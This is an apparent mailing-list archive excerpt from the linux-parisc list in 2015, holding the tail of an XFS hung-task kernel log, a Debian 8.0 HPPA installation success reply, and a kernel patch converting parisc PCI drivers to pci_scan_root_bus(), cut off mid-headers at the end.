 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229570>] try_to_free_pages+0x2f0/0x460
 [<000000004021b1b4>] __alloc_pages_nodemask+0x3b4/0x7f0
 [<000000004021b8d4>] alloc_kmem_pages_node+0x5c/0x70
 [<000000004017dd34>] copy_process.part.62+0x184/0x1c18
 [<0000000040192474>] sigprocmask+0x74/0xb0

INFO: task cron:3138 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
cron            D 00000000401440c0     0  3138      1 0x00000010
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
 [<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229570>] try_to_free_pages+0x2f0/0x460
 [<000000004021b1b4>] __alloc_pages_nodemask+0x3b4/0x7f0
 [<000000004021b8d4>] alloc_kmem_pages_node+0x5c/0x70
 [<000000004017dd34>] copy_process.part.62+0x184/0x1c18
 [<000000004026ce74>] SyS_stat64+0x4c/0x70

INFO: task kworker/2:0H:1079 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
kworker/2:0H    D 00000000401440c0     0  1079      2 0x00000000
Workqueue: xfs-log/sdc5 xfs_log_worker [xfs]
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000001d0840a4>] _xfs_log_force_lsn+0x394/0x440 [xfs]
 [<000000001d07da14>] xfs_trans_commit+0x224/0x2d0 [xfs]
 [<000000001d040020>] xfs_sync_sb+0x90/0x118 [xfs]
 [<000000001d083c24>] xfs_log_worker+0x94/0x180 [xfs]
 [<000000004019cd88>] process_one_work+0x198/0x458
 [<000000004019dc8c>] worker_thread+0x48c/0x620
 [<00000000401a4824>] kthread+0x144/0x178
[<0000000040144020>] end_fault_vector+0x20/0x28
 [<0000000040145080>] intr_check_sig+0x0/0x3c
 [<000000001c6d8000>] 0x1c6d8000
 [<000000001c6d8000>] 0x1c6d8000
 [<000000001c6d8000>] 0x1c6d8000
 [<000000001c949f5c>] sd_init_command+0x44/0x140 [sd_mod]
 [<000000004035b03c>] blk_recount_segments+0x10c/0x228

INFO: task xgcc:4733 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
xgcc            D 00000000401440c0     0  4733   4729 0x00000010
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
 [<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
[<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229570>] try_to_free_pages+0x2f0/0x460
 [<000000004021b1b4>] __alloc_pages_nodemask+0x3b4/0x7f0
 [<000000004021b62c>] __get_free_pages+0x3c/0xf0
 [<000000004017cf98>] mm_init.isra.56+0x240/0x308
 [<000000004017d54c>] mm_alloc+0x6c/0x90

INFO: task kthreadd:2 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
kthreadd        D 00000000401440c0     0     2      0 0x00000000
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
[<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229570>] try_to_free_pages+0x2f0/0x460
 [<000000004021b1b4>] __alloc_pages_nodemask+0x3b4/0x7f0
 [<000000004021b8d4>] alloc_kmem_pages_node+0x5c/0x70
 [<000000004017dd34>] copy_process.part.62+0x184/0x1c18
 [<0000000040144020>] end_fault_vector+0x20/0x28

INFO: task kswapd1:285 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
kswapd1         D 00000000401440c0     0   285      2 0x00000000
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000001d083f40>] _xfs_log_force_lsn+0x230/0x440 [xfs]
[<000000001d08417c>] xfs_log_force_lsn+0x2c/0x90 [xfs]
 [<000000001d068614>] __xfs_iunpin_wait+0xb4/0x1f0 [xfs]
 [<000000001d06d78c>] xfs_iunpin_wait+0x2c/0x190 [xfs]
 [<000000001d05d7fc>] xfs_reclaim_inode+0x9c/0x550 [xfs]
 [<000000001d05de68>] xfs_reclaim_inodes_ag+0x1b8/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229cf4>] kswapd+0x614/0xae0
 [<00000000401a4824>] kthread+0x144/0x178
 [<0000000040144020>] end_fault_vector+0x20/0x28

INFO: task kswapd2:286 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
kswapd2         D 00000000401440c0     0   286      2 0x00000000
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
[<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
 [<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229cf4>] kswapd+0x614/0xae0
 [<00000000401a4824>] kthread+0x144/0x178
 [<0000000040144020>] end_fault_vector+0x20/0x28
 [<00000000402136d8>] mempool_alloc_slab+0x28/0x40
 [<0000000040213974>] mempool_alloc+0xa4/0x208

INFO: task postgres:3006 blocked for more than 120 seconds.
      Not tainted 4.0.0-rc4+ #1
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this =
message.
postgres        D 00000000401440c0     0  3006      1 0x00000010
Backtrace:
 [<000000004014e4e8>] __schedule+0x248/0x5d0
 [<000000004014e8b8>] schedule+0x48/0xc8
 [<000000004014ed58>] schedule_preempt_disabled+0x20/0x38
 [<0000000040151b70>] __mutex_lock_slowpath+0x180/0x3f0
 [<0000000040151e04>] mutex_lock+0x24/0x48
 [<000000001d05df60>] xfs_reclaim_inodes_ag+0x2b0/0x520 [xfs]
 [<000000001d05ee80>] xfs_reclaim_inodes_nr+0x60/0xb0 [xfs]
 [<000000001d076004>] xfs_fs_free_cached_objects+0x24/0x58 [xfs]
 [<000000004026a79c>] super_cache_scan+0x2fc/0x308
 [<0000000040225f54>] shrink_slab.part.48.constprop.57+0x31c/0x3c8
 [<000000004022927c>] shrink_zone+0xe4/0xe8
 [<0000000040229570>] try_to_free_pages+0x2f0/0x460
 [<000000004021b1b4>] __alloc_pages_nodemask+0x3b4/0x7f0
 [<000000004021b8d4>] alloc_kmem_pages_node+0x5c/0x70
 [<000000004017dd34>] copy_process.part.62+0x184/0x1c18
 [<0000000040192474>] sigprocmask+0x74/0xb0


--Apple-Mail-3--153777285--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Federico Sologuren <federico.sologuren@gmail.com>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Pre-DEBIAN 8.0 install images for HPPA architecture (debian-ports
 unstable release)
Date: Sun, 22 Mar 2015 21:00:04 -0400
Lines: 113
Approved: news@gmane.org
Message-ID: <CABojMS54wkj7=5uDBaeKuAR1rUjvawdxoQ3wqGJYP4fFG3mqjg@mail.gmail.com>
References: <54ECB150.80907@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=001a11479f5006ee7d0511ea3146
X-Trace: ger.gmane.org 1427072462 23330 80.91.229.3 (23 Mar 2015 01:01:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Mar 2015 01:01:02 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>, 
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Mon Mar 23 02:01:01 2015
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1YZqji-0003ud-S6
	for debian-hppa@m.gmane.org; Mon, 23 Mar 2015 02:00:58 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 5F941321; Mon, 23 Mar 2015 01:00:58 +0000 (UTC)
Old-Return-Path: <federico.sologuren@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on bendel.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-7.4 required=4.0 tests=DKIM_SIGNED,DKIM_VALID,
	DKIM_VALID_AU,DKIM_VERIFIED,FOURLA,FREEMAIL_FROM,HTML_MESSAGE,LDOSUBSCRIBER,
	LDO_WHITELIST,SARE_HTML_USL_OBFU autolearn=unavailable version=3.3.2
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id BDB92AC
	for <lists-debian-hppa@bendel.debian.org>; Mon, 23 Mar 2015 01:00:47 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-3.333 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, DKIM_SIGNED=0.1, DKIM_VALID=-0.1,
	DKIM_VALID_AU=-0.1, FOURLA=0.1, FREEMAIL_FROM=0.001, HTML_MESSAGE=2,
	LDO_WHITELIST=-5, SARE_HTML_USL_OBFU=1.666] autolearn=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 8d2gvFHaRtAJ for <lists-debian-hppa@bendel.debian.org>;
	Mon, 23 Mar 2015 01:00:44 +0000 (UTC)
Original-Received: from mail-qc0-x229.google.com (mail-qc0-x229.google.com [IPv6:2607:f8b0:400d:c01::229])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 2CB0898
	for <debian-hppa@lists.debian.org>; Mon, 23 Mar 2015 01:00:29 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: by qcto4 with SMTP id o4so134045712qct.3
        for <debian-hppa@lists.debian.org>; Sun, 22 Mar 2015 18:00:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=t+P2RHrnRRUA1PrwYZsH+vERPdakaX47rnreWt/Iic4=;
        b=eme0q99aajH1z9nYoG35/XlXcG9wM9HgPBpXFXpITL3Jiuf1IKHLvl7y6IaOqzq4Js
         vYq3IC5mVXK4QhIdLSbjTPAGlwAEzVROFDd3Zgnn09jgYXOBpCPZb8anf8fDX8OwPBfM
         z104Y3XyZSSxRJEKqqQdnozryRce7JlL4Ao2ntmkPbubkJfd/ZVrH9Mrn0eZxAsacbUp
         X67GcK6mcrFToPFBfxtJb5RT/ydVAvWZn+Q4UUWOOFL1oPFiRXn/m1uCA2KnoVMyFxtn
         hOm3RVnQm8/bWprw1YI1Vw/K8LlwbHcPmwx+k3D+hjpfXLfBCqi/8OBT+iAOGmIvCEL1
         zYfQ==
X-Received: by 10.55.22.29 with SMTP id g29mr159425127qkh.22.1427072426108;
 Sun, 22 Mar 2015 18:00:26 -0700 (PDT)
Original-Received: by 10.140.35.230 with HTTP; Sun, 22 Mar 2015 18:00:04 -0700 (PDT)
In-Reply-To: <54ECB150.80907@gmx.de>
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <c4BxJTrtbaC.A.HHH.KX2DVB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8258
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <http://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 23 Mar 2015 01:00:58 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7272 gmane.linux.ports.parisc:25675
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7272>

--001a11479f5006ee7d0511ea3146
Content-Type: text/plain; charset=UTF-8

thank you. i finished installation on HP Visualize B2000. it seems to be
working fine. (terminal  mode only since i knew from past installation that
graphics card for B2000 is not supported.

thank you for the update and installation instructions.

On Tue, Feb 24, 2015 at 12:13 PM, Helge Deller <deller@gmx.de> wrote:

> Hello everyone,
>
> I've prepared some initial netboot installation medias for
>         DEBIAN 8.0 on HPPA
>
> which are available at:
>         http://ftp.debian-ports.org/debian-cd/hppa/debian-8.0/
>
> You can find the instructions on how to install Debian 8.0 on hppa in our
> wiki at
>         https://parisc.wiki.kernel.org/index.php/Debian_Ports_Installation
>
> The install images will install binaries from debian-ports (Debian
> "unstable").
>
> Major changes include:
> - Based on Debian 8.0 code base
> - Full systemd support
> - Linux kernel modules for SATA included
> - Lots of bug fixes
> - Should support all common PA-RISC hardware (on C8000 installation needs
> to be done via serial port)
>
> I'm happy to get your feedback (either as bug report or successful
> installation report).
>
> Helge
>
>
> --
> To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
> with a subject of "unsubscribe". Trouble? Contact
> listmaster@lists.debian.org
> Archive: https://lists.debian.org/54ECB150.80907@gmx.de
>
>


-- 
Federico

--001a11479f5006ee7d0511ea3146
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: quoted-printable

<div dir=3D"ltr">thank you. i finished installation on HP Visualize B2000. =
it seems to be working fine. (terminal =C2=A0mode only since i knew from pa=
st installation that graphics card for B2000 is not supported.<div><br></di=
v><div>thank you for the update and installation instructions.</div></div><=
div class=3D"gmail_extra"><br><div class=3D"gmail_quote">On Tue, Feb 24, 20=
15 at 12:13 PM, Helge Deller <span dir=3D"ltr">&lt;<a href=3D"mailto:deller=
@gmx.de" target=3D"_blank">deller@gmx.de</a>&gt;</span> wrote:<br><blockquo=
te class=3D"gmail_quote" style=3D"margin:0 0 0 .8ex;border-left:1px #ccc so=
lid;padding-left:1ex">Hello everyone,<br>
<br>
I&#39;ve prepared some initial netboot installation medias for<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 DEBIAN 8.0 on HPPA<br>
<br>
which are available at:<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 <a href=3D"http://ftp.debian-ports.org/debian-c=
d/hppa/debian-8.0/" target=3D"_blank">http://ftp.debian-ports.org/<u></u>de=
bian-cd/hppa/debian-8.0/</a><br>
<br>
You can find the instructions on how to install Debian 8.0 on hppa in our w=
iki at<br>
=C2=A0 =C2=A0 =C2=A0 =C2=A0 <a href=3D"https://parisc.wiki.kernel.org/index=
.php/Debian_Ports_Installation" target=3D"_blank">https://parisc.wiki.kerne=
l.<u></u>org/index.php/Debian_Ports_<u></u>Installation</a><br>
<br>
The install images will install binaries from debian-ports (Debian &quot;un=
stable&quot;).<br>
<br>
Major changes include:<br>
- Based on Debian 8.0 code base<br>
- Full systemd support<br>
- Linux kernel modules for SATA included<br>
- Lots of bug fixes<br>
- Should support all common PA-RISC hardware (on C8000 installation needs t=
o be done via serial port)<br>
<br>
I&#39;m happy to get your feedback (either as bug report or successful inst=
allation report).<span class=3D"HOEnZb"><font color=3D"#888888"><br>
<br>
Helge<br>
<br>
<br>
-- <br>
To UNSUBSCRIBE, email to <a href=3D"mailto:debian-hppa-REQUEST@lists.debian=
.org" target=3D"_blank">debian-hppa-REQUEST@lists.<u></u>debian.org</a><br>
with a subject of &quot;unsubscribe&quot;. Trouble? Contact <a href=3D"mail=
to:listmaster@lists.debian.org" target=3D"_blank">listmaster@lists.debian.o=
rg</a><br>
Archive: <a href=3D"https://lists.debian.org/54ECB150.80907@gmx.de" target=
=3D"_blank">https://lists.debian.org/<u></u>54ECB150.80907@gmx.de</a><br>
<br>
</font></span></blockquote></div><br><br clear=3D"all"><div><br></div>-- <b=
r><div class=3D"gmail_signature">Federico</div>
</div>

--001a11479f5006ee7d0511ea3146--



From - Thu Nov 08 21:37:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v7 22/31] parisc/PCI: Use pci_scan_root_bus() for simplicity
Date: Mon, 23 Mar 2015 20:40:48 +0800
Lines: 61
Approved: news@gmane.org
Message-ID: <1427114457-16687-23-git-send-email-wangyijing@huawei.com>
References: <1427114457-16687-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1427115109 16311 80.91.229.3 (23 Mar 2015 12:51:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 23 Mar 2015 12:51:49 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-pci-owner@vger.kernel.org Mon Mar 23 13:51:44 2015
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1Ya1pJ-0002M6-VD
	for glp-linux-pci@plane.gmane.org; Mon, 23 Mar 2015 13:51:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753305AbbCWMv1 (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Mon, 23 Mar 2015 08:51:27 -0400
Original-Received: from szxga03-in.huawei.com ([119.145.14.66]:36140 "EHLO
	szxga03-in.huawei.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752530AbbCWMoR (ORCPT
	<rfc822;linux-pci@vger.kernel.org>); Mon, 23 Mar 2015 08:44:17 -0400
Original-Received: from 172.24.2.119 (EHLO szxeml434-hub.china.huawei.com) ([172.24.2.119])
	by szxrg03-dlp.huawei.com (MOS 4.4.3-GA FastPath queued)
	with ESMTP id BDN03958;
	Mon, 23 Mar 2015 20:44:13 +0800 (CST)
Original-Received: from localhost.localdomain (10.175.100.166) by
 szxeml434-hub.china.huawei.com (10.82.67.225) with Microsoft SMTP Server id
 14.3.158.1; Mon, 23 Mar 2015 20:44:03 +0800
X-Mailer: git-send-email 1.7.1
In-Reply-To: <1427114457-16687-1-git-send-email-wangyijing@huawei.com>
X-Originating-IP: [10.175.100.166]
X-CFilter-Loop: Reflected
X-Mirapoint-Virus-RAPID-Raw: score=unknown(0),
	refid=str=0001.0A020201.55100A9E.021B,ss=1,re=0.001,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0,
	ip=0.0.0.0,
	so=2013-05-26 15:14:31,
	dmn=2013-03-21 17:37:32
X-Mirapoint-Loop-Id: 56904de48da69c43680cd8d585a8f611
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:40166 gmane.linux.kernel:1915021 gmane.linux.ports.arm.kernel:402357 gmane.linux.ports.ia64:25296 gmane.linux.ports.alpha:2922 gmane.linux.ports.parisc:25676
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/40166>

From: Yijing Wang <wangyijing0307@gmail.com>

Now pci_bus_add_devices() has been ripped out
from pci_scan_root_bus(), we could use pci_scan_root_bus()
instead of pci_create_root_bus() + pci_scan_child_bus()
for simplicity.

Signed-off-by: Yijing Wang <wangyijing@huawei.com>
CC: "James E.J. Bottomley" <jejb@parisc-linux.org>
CC: linux-parisc@vger.kernel.org
---
 drivers/parisc/dino.c    |    4 ++--
 drivers/parisc/lba_pci.c |    4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index f375252..146c3ff 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -985,7 +985,7 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	dino_dev->hba.hba_bus = bus = pci_create_root_bus(&dev->dev,
+	dino_dev->hba.hba_bus = bus = pci_scan_root_bus(&dev->dev,
 			 0, dino_current_bus, &dino_cfg_ops, NULL, &resources);
 	if (!bus) {
 		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
@@ -996,7 +996,7 @@ static int __init dino_probe(struct parisc_device *dev)
 		return 0;
 	}
 
-	max = pci_scan_child_bus(bus);
+	max = pci_bus_child_max_busnr(bus);
 	pci_bus_update_busn_res_end(bus, max);
 
 	/* This code *depends* on scanning being single threaded
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 2949030..b630364 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1563,14 +1563,14 @@ lba_driver_probe(struct parisc_device *dev)
 
 	dev->dev.platform_data = lba_dev;
 	lba_bus = lba_dev->hba.hba_bus =
-		pci_create_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
+		pci_scan_root_bus(&dev->dev, 0, lba_dev->hba.bus_num.start,
 				    cfg_ops, NULL, &resources);
 	if (!lba_bus) {
 		pci_free_resource_list(&resources);
 		return 0;
 	}
 
-	max = pci_scan_child_bus(lba_bus);
+	max = pci_bus_child_max_busnr(lba_bus);
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
-- 
1.7.1


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Yijing Wang <wangyijing@huawei.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.pci,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.alpha,gmane.linux.ports.parisc
Subject: [PATCH v8 22/30] parisc/PCI: Use pci_scan_root_bus() for simplicity
Date: Tue, 24 Mar 2015 11:34:16 +0800
Lines: 61
Approved: news@gmane.org
Message-ID: <1427168064-8657-23-git-send-email-wangyijing@huawei.com>
References: <1427168064-8657-1-git-send-email-wangyijing@huawei.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1427168427 3305 80.91.229.3 (24 Mar 2015 03:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 24 Mar 2015 03:40:27 +0000 (UTC)
Cc: Jiang Liu <jiang.liu@linux.intel.com>, <linux-pci@vger.kernel.org>,
	Yinghai Lu <yinghai@kernel.org>,
	<linux-kernel@vger.kernel.org>,
	Marc Zyngier <marc.zyngier@arm.com>,
	<linux-arm-kernel@lists.infradead.org>,
	Russell King <linux@arm.linux.org.uk>, <x86@kernel.org>,
	Thomas Gleixner <tglx@linutronix.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Tony Luck <tony.luck@intel.com>, <linux-ia64@vger.kernel.org>,
	"David S. Miller" <davem@davemloft.net>,
	"Guan Xuetao" <gxt@mprc.pku.edu.cn>, <linux-alpha@vger.kernel.org>,
	<linux-m68k@lists.linux-m68k.org>, Liviu Dudau <liviu@dudau.co.uk>,
	"Arnd Bergmann" <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>,
	"Yijing Wang" <wangyijing@huawei.com>,
	Yijing Wang <wangyijing0307@gmail.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	<linux-parisc@vger.kernel.org>
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 24 04:40:23 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YaFhT-0007ge-Sl
	for glk-linux-kernel-3@plane.gmane.org; Tue, 24 Mar 2015 04:40:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754046AbbCXDjg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 23 Mar 2015 23:39:36 -0400
Original-Received: from szxga02-in.huawei.com ([119.145.14.65]:15826 "EHLO
